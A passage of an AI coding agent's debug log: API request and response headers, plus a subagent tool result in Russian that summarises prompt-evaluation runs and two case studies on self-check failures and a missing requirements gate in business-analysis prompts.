\"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.344Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:23.349Z] [STDOUT]   headers: {\n[2026-09-29T07:46:23.352Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:23.357Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:23.361Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:23.366Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:23.371Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:23.376Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.380Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:23.386Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:23.397Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:23.402Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:23.405Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:23.413Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:23.417Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:23.424Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.428Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:23.431Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:23.435Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.438Z] [STDOUT]     \"cf-ray\": \"a4295fa92f93dbb5-FRA\",\n[2026-09-29T07:46:23.442Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:23.444Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.448Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.452Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.455Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:23 GMT\",\n[2026-09-29T07:46:23.458Z] [STDOUT]     \"request-id\": \"req_011CfXMpzc5ugQTu3rbjUsww\",\n[2026-09-29T07:46:23.460Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:23.462Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.464Z] [STDOUT]     traceresponse: \"00-e965497bb0ec981093cd117102327a19-93415460dad638fd-01\",\n[2026-09-29T07:46:23.467Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.470Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:23.474Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.477Z] [STDOUT]   },\n[2026-09-29T07:46:23.482Z] [STDOUT]   durationMs: 765,\n[2026-09-29T07:46:23.487Z] [STDOUT] }\n[2026-09-29T07:46:23.491Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:23.494Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:23 GMT\",\n[2026-09-29T07:46:23.499Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.501Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.503Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:23.506Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:23.509Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.511Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.516Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:23.522Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.528Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:23.533Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:23.539Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:23.544Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:23.549Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:23.552Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:23.559Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:23.562Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.565Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:23.568Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:23.572Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:23.577Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:23.579Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.583Z] [STDOUT]   \"request-id\": \"req_011CfXMpzc5ugQTu3rbjUsww\",\n[2026-09-29T07:46:23.585Z] [STDOUT]   \"traceresponse\": \"00-e965497bb0ec981093cd117102327a19-93415460dad638fd-01\",\n[2026-09-29T07:46:23.590Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:23.593Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:23.595Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:23.605Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.610Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.614Z] [STDOUT]   \"cf-ray\": \"a4295fa92f93dbb5-FRA\",\n[2026-09-29T07:46:23.617Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:23.620Z] [STDOUT] [log_ee652c] response parsed {\n[2026-09-29T07:46:23.623Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.626Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:23.628Z] [STDOUT]   body: X {\n[2026-09-29T07:46:23.636Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:23.642Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:23.654Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:23.657Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:23.662Z] [STDOUT]     },\n[2026-09-29T07:46:23.666Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:23.671Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:23.675Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:23.682Z] [STDOUT]   },\n[2026-09-29T07:46:23.686Z] [STDOUT]   durationMs: 767,\n[2026-09-29T07:46:23.690Z] [STDOUT] }\n[2026-09-29T07:46:23.696Z] [INFO] {\n[2026-09-29T07:46:23.696Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"message\": {\n[2026-09-29T07:46:23.696Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:23.696Z] [INFO]     \"content\": [\n[2026-09-29T07:46:23.696Z] [INFO]       {\n[2026-09-29T07:46:23.696Z] [INFO]         \"tool_use_id\": \"toolu_014VU4DRia4U2Kv9CFkjoUqs\",\n[2026-09-29T07:46:23.696Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:23.696Z] [INFO]         \"content\": \"| \u0412\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 |\\n| --- | --- |\\n| `draft` (\u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d) | 35 |\\n| `works-with-edits` | 19 |\\n| `partial-success` | 8 |\\n| `success` | 2 |\\n| `needs-rework` / `invalid` / `experimental` | \u043f\u043e 1 |\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f `\u041a-4` \u2014 **2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c (6 %)**\\n\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438.\\n\\n## 2. \u041a\u0435\u0439\u0441 `C-1`: \u0432\u043e\u0441\u0435\u043c\u044c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0435 \u0443\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043e\u0434\u0438\u043d \u0444\u0430\u043a\u0442\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** [RUN-0018](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0018),\\n\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1079 \u00ab\u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u00bb, \u043c\u043e\u0434\u0435\u043b\u044c\\n`qwen3.7-plus`, 8 \u0448\u0430\u0433\u043e\u0432.\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442\\n[`fr-validation-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/fr-validation-stepwise.md)\\n\u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043a\u0430\u043a \u043d\u0430\u0432\u044b\u043a: \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 \u2014\\n\u0430\u0443\u0434\u0438\u0442, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0439, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0438, \u0432\u044b\u0447\u0438\u0442\u043a\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u042d\u0442\u043e \u0434\u0435-\u0444\u0430\u043a\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 `G-self`.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442** (\u043f\u043e\u043b\u0435 `metrics` \u043f\u0440\u043e\u0433\u043e\u043d\u0430): `episodes: 8`,\\n`ba_edits: 6`, `hallucinations: 8`, **`hallucinations_shipped: 1`**,\\n`success_rate: 0.63`, \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `works-with-edits`. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u0420\u043e\u0432\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `T-1` \u0438\u0437 [`10-theory.md`](10-theory.md):\\n\u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u0443 \u0438 \u043d\u0435 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u0430\u043a\u0442. \u0412\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432 \u0441\u0430\u043c\u043e\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f\\n\u043f\u043e\u0439\u043c\u0430\u043b\u0438 \u0432\u043e\u0441\u0435\u043c\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0434\u0438\u043d \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0449\u0438\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 \u0441\u0443\u0442\u044c \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0441 \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c.\\n\\n**\u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u043b\u044f \u043d\u0430\u0432\u044b\u043a\u0430.** \u0428\u0430\u0433\u0438 2, 4, 5, 6 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (\u0430\u0443\u0434\u0438\u0442,\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u044f, \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f) \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f `G-self`. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0441\u0442\u0430\u0442\u044c `G-mach` \u2014 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\\n\u0444\u0430\u0439\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e `GATE-2` \u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 `H-3`.\\n\\n## 3. \u041a\u0435\u0439\u0441 `C-2`: \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0433\u0435\u0439\u0442 \u00ab\u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2194 \u0434\u0435\u043b\u044c\u0442\u0430\u00bb\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 [RUN-0063](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0063)\\n\u2192 [RUN-0064](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0064)\\n(\u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a) \u2192 [RUN-0067](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0067)\\n(\u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430), BCREQ-1074 \u00ab\u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u0440\u0430\u0441\u0445\u043e\u0434\u043e\u0432 \u043d\u0430 \u0441\u0432\u044f\u0437\u044c\u00bb.\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041f\u0440\u043e\u0433\u043e\u043d `RUN-0063` \u0432\u044b\u0434\u0430\u043b \u0424\u0422, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u044f\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 **\u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e** \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430. \u0420\u0430\u0437\u0431\u043e\u0440\\n`RUN-0064` \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b 8 \u043e\u0448\u0438\u0431\u043e\u043a: \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 3, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 2, \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 2, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u2014 1.\\n\u041f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430 `RUN-0067` \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0430 9 \u043d\u0430\u0445\u043e\u0434\u043e\u043a \u0430\u0443\u0434\u0438\u0442\u0430, \u0443\u0434\u0430\u043b\u0438\u043b\u0430 5 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n\u0441\u0432\u0435\u043b\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043a \u0434\u0435\u043b\u044c\u0442\u0435 \u0438\u0437 8 \u043f\u043e\u043b\u0435\u0439 \u0438 \u0432\u044b\u043d\u0435\u0441\u043b\u0430 9 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0432\\n\u0440\u0430\u0437\u0434\u0435\u043b \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432; `RUN-0063` \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043d\u0435\u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c.\\n\\n**\u041f\u0435\u0440\u0432\u043e\u043f\u0440\u0438\u0447\u0438\u043d\u0430, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0430\u043c\u0438\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c:** \u00ab\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e gate,\",\n[2026-09-29T07:46:23.696Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:23.696Z] [INFO]       }\n[2026-09-29T07:46:23.696Z] [INFO]     ]\n[2026-09-29T07:46:23.696Z] [INFO]   },\n[2026-09-29T07:46:23.696Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"uuid\": \"cbfabf75-3b3c-4f23-8aa8-c95e1c99994a\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:23.385Z\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:23.696Z] [INFO] }\n[2026-09-29T07:46:23.701Z] [STDOUT] [log_c2121d] sending request {\n[2026-09-29T07:46:23.712Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:23.716Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.720Z] [STDOUT]   options: {\n[2026-09-29T07:46:23.724Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:23.732Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:23.739Z] [STDOUT]     body: {\n[2026-09-29T07:46:23.743Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:23.747Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:23.750Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:23.753Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:23.757Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:23.766Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:23.769Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:23.774Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:23.777Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:23.780Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:23.782Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:23.784Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:23.788Z] [STDOUT]     },\n[2026-09-29T07:46:23.790Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:23.793Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:23.795Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:23.799Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:23.802Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:23.805Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:23.809Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:23.812Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:23.815Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:23.818Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:23.820Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:23.824Z] [STDOUT]     },\n[2026-09-29T07:46:23.830Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:23.835Z] [STDOUT]   },\n[2026-09-29T07:46:23.838Z] [STDOUT]   headers: {\n[2026-09-29T07:46:23.843Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:23.848Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:23.852Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:23.856Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:23.858Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:23.863Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:23.866Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:23.868Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:23.872Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:23.875Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:23.878Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:23.881Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1265\",\n[2026-09-29T07:46:23.884Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:23.888Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:23.892Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:23.895Z] [STDOUT]     \"x-client-request-id\": \"1d693c94-5e19-4290-a25f-cd75dab85469\",\n[2026-09-29T07:46:23.898Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:23.902Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:23.904Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:23.908Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:23.911Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:23.916Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:23.921Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:23.927Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:23.931Z] [STDOUT]   },\n[2026-09-29T07:46:23.935Z] [STDOUT] }\n[2026-09-29T07:46:23.940Z] [INFO] {\n[2026-09-29T07:46:23.940Z] [INFO]   \"type\": 